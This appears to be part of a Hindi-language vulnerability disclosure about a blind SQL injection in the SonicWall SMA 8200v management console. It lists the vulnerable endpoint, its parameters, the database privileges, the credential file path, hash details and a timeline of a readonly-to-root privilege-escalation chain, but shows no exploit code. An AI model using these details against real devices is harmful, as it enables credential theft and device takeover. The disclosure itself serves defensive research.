  • MySQL बैकस्लैश एस्केप व्यवहार: जब NO_BACKSLASH_ESCAPES सेट नहीं होता है, तो स्ट्रिंग लिटरल में \ को एस्केप कैरेक्टर के रूप में माना जाता है
  • SHA-512 crypt विनिर्देश: $6$ उपसर्ग, कॉन्फ़िगर करने योग्य राउंड (डिफ़ॉल्ट 5000), 86-वर्ण Base64 हैश आउटपुट
  • Hashcat मोड 1800: sha512crypt ($6$)
  • OWASP SQL इंजेक्शन रोकथाम चीट शीट: प्राथमिक रक्षा के रूप में पैरामीटराइज़्ड क्वेरी
टूल डाउनलोड करें
घटकविवरण
प्लेटफ़ॉर्मSonicWall SMA 8200v (वर्चुअल उपकरण)
फर्मवेयर12.5.0-02283 (पुष्टि); संभवतः सभी 12.x
सेवाप्रबंधन कंसोल — Jetty + Struts 2 (पोर्ट 8443)
एंडपॉइंटPOST /activeUsers.action
भेद्य पैरामीटरrealmFilter, communityFilter (क्रॉस-पैरामीटर)
मूल कारण वर्गcom.aventail.mgmt.sql.Sql.safeParam()
डेटाबेसMariaDB 10.11.14, उपयोगकर्ता DbAdmin (ALL PRIVILEGES + FILE)
लक्ष्य फ़ाइल/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
$6$
सॉल्टWHTK8ybQ
राउंड5000 (डिफ़ॉल्ट, निर्दिष्ट नहीं)
हैशकैट मोड1800
जॉन फ़ॉर्मेटsha512crypt
उपलब्धतारूट पहुंच सेवा विघटन, डेटा विनाश या डिवाइस को स्थायी रूप से अनुपयोगी बनाने को सक्षम बनाती है
दिनांकघटना
2026-02-24safeParam() के स्थैतिक विश्लेषण के माध्यम से क्रॉस-पैरामीटर SQLi की पहचान
2026-02-24एडमिन सत्र (SLEEP टाइमिंग) के साथ ब्लाइंड SQLi की पुष्टि
2026-02-25रीडओनली खाते के साथ SQLi की पुष्टि (विशेषाधिकार वृद्धि वेक्टर)
2026-02-25secure_file_priv=NULL के बावजूद LOAD_FILE() के कार्यशील होने की पुष्टि
2026-02-25avconfig.xml को एडमिन/रूट हैश के साथ क्रेडेंशियल स्टोर के रूप में पहचाना गया
2026-02-25MySQL CLI के माध्यम से SQL निष्कर्षण अभिव्यक्ति का सत्यापन
2026-02-25PoC टूल (sma_admin_hash_poc.py) के साथ पूर्ण स्वचालित निष्कर्षण की पुष्टि
2026-02-25विशेषाधिकार वृद्धि श्रृंखला का सत्यापन: रीडओनली -> एडमिन/रूट हैश